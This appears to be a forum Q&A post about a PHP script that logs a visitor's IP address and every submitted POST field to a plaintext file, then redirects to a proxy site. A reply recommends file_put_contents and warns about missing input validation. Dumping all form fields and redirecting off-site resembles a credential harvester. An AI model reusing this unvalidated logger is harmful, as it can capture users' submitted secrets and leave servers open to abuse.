How to log IP address in text file

<?php

$ip = $_SERVER['REMOTE_ADDR']; //get supposed IP

$handle = fopen("log.txt", "a"); //open log file

foreach($_POST as $variable => $value) { //loop through POST vars
   fwrite($handle, $variable . "+" . $value . "\r\n");
}
fwrite($handle, "IP: $ip \r\n \r\n");
fclose($handle);

header ('Location: http://proxy4free.com');
exit;

Note that file_put_contents is a wrapper around fopen/fwrite/fclose and will simplify your code (although I’ve not benchmarked it to see if it’s slower, as you’re writing multiple lines … of course, you could just concatenate to one string and write all-at-once). You might wish to try that.

Your header() call should be reserved until AFTER PHP’s had time to write your log, and then followed by an “exit” as you’d done previously.

Security hasn’t been addressed here at all. If someone posted something unexpected, they might do all manner of mischief (just as an example, a huge POST var might fill up precious disk space your server must have to run — and there might be more nefarious stuff too). Consider using an input filter for each of those $_POST vars at a bare minimum (http://php.net/filter_input). If you know what you’re expecting from them, do something further (intval, preg_match testing, etc.)

Leave a Comment